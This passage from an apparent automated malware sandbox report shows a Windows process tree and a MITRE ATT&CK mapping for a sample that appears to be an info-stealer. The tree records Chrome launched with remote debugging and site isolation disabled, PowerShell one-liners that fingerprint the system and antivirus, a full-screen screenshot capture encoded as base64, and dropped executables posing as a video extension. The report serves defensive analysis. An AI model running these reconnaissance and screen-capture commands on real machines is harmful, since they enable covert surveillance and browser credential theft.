- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5900,i,14380891461397696898,4220315317388156723,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6008,i,6739956354337256437,16336308077007390171,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5848,i,16229763869206983854,1940262296410933910,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5724
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5820,i,9640726944645009215,4229655867377242535,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=6220,i,4381690619491740089,3049785783344976722,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:14
    3⤵
    PID:6040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=5460,i,2707944078085519271,4875811120908281823,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:14
    3⤵
    PID:6048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=5768,i,6341425773313426814,888211779917772648,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:14
    3⤵
    PID:5680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=5684,i,284164848397628864,8797923019040154418,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
    3⤵
    PID:5740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=5464,i,771619009887668689,1428043594624538678,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=5540,i,12167235288433652457,978205633134341457,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=6332 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=6536,i,5646782998261872889,9646025058466473470,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:6104
- C:\Windows\system32\cmd.exe
  "cmd" /c "netstat -an | findstr :9435"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3276
- - C:\Windows\system32\findstr.exe
    findstr :9435
    3⤵
    PID:4684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue).Caption"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias 'Wi-Fi','Ethernet' -ErrorAction SilentlyContinue | Select-Object -First 1).IPAddress"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:5712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-DnsClientServerAddress -AddressFamily IPv4 | Where-Object ServerAddresses | Select-Object -First 1).ServerAddresses -join ','"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-NetAdapter | Where-Object Status -eq 'Up' | Select-Object -First 1).MacAddress"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-WmiObject win32_processor | Select-Object -First 1).Name"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-WmiObject -Class Win32_ComputerSystem).TotalPhysicalMemory"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-WmiObject Win32_VideoController | Select-Object -First 1).Name"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-WmiObject win32_processor | Measure-Object -property LoadPercentage -Average).Average"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$mem = Get-WmiObject -Class Win32_OperatingSystem; [math]::Round(($mem.TotalVisibleMemorySize - $mem.FreePhysicalMemory) * 1024)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$boot=(Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue).LastBootUpTime; if ($boot) { [int]((Get-Date)-$boot).TotalSeconds }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:4280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -Namespace WinAPI -Name User32 -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); [StructLayout(LayoutKind.Sequential)] public struct LASTINPUTINFO { public uint cbSize; public uint dwTime; }' -ErrorAction SilentlyContinue; $lii = New-Object WinAPI.User32+LASTINPUTINFO; $lii.cbSize = [Runtime.InteropServices.Marshal]::SizeOf($lii); if ([WinAPI.User32]::GetLastInputInfo([ref]$lii)) { [int](([Environment]::TickCount - $lii.dwTime) / 1000) }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:3676
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ydbd41gx\ydbd41gx.cmdline"
    3⤵
    PID:392
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E93.tmp" "c:\Users\Admin\AppData\Local\Temp\ydbd41gx\CSC4D73C303A4AF4A1AAC892B828B641D88.TMP"
      4⤵
      PID:6048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Select-Object -ExpandProperty displayName -ErrorAction SilentlyContinue | Out-String"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$path = 'HKCU:\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice'; if (Test-Path $path) { (Get-ItemProperty $path).ProgId }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:712
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /C "shy-kit screenshot"
  2⤵
  PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $s=[System.Windows.Forms.SystemInformation]::VirtualScreen; $bmp=New-Object System.Drawing.Bitmap $s.Width,$s.Height; $g=[System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($s.Left,$s.Top,0,0,$bmp.Size); $ms=New-Object System.IO.MemoryStream; $bmp.Save($ms,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($ms.ToArray());"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:1000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:4832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:5144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:5352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:5236

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe
1⤵
PID:2508

C:\Users\Admin\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb5c8bbwe\pkg69\HEVCVideoExt.exe
C:\Users\Admin\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb5c8bbwe\pkg69\HEVCVideoExt.exe
1⤵
- Executes dropped EXE
PID:228

C:\Users\Admin\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb5c8bbwe\pkg69\HEVCVideoExt.exe
C:\Users\Admin\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb5c8bbwe\pkg69\HEVCVideoExt.exe
1⤵
- Executes dropped EXE
PID:3024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5716

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Modify Authentication Process

T1556

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Authentication Process

T1556

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...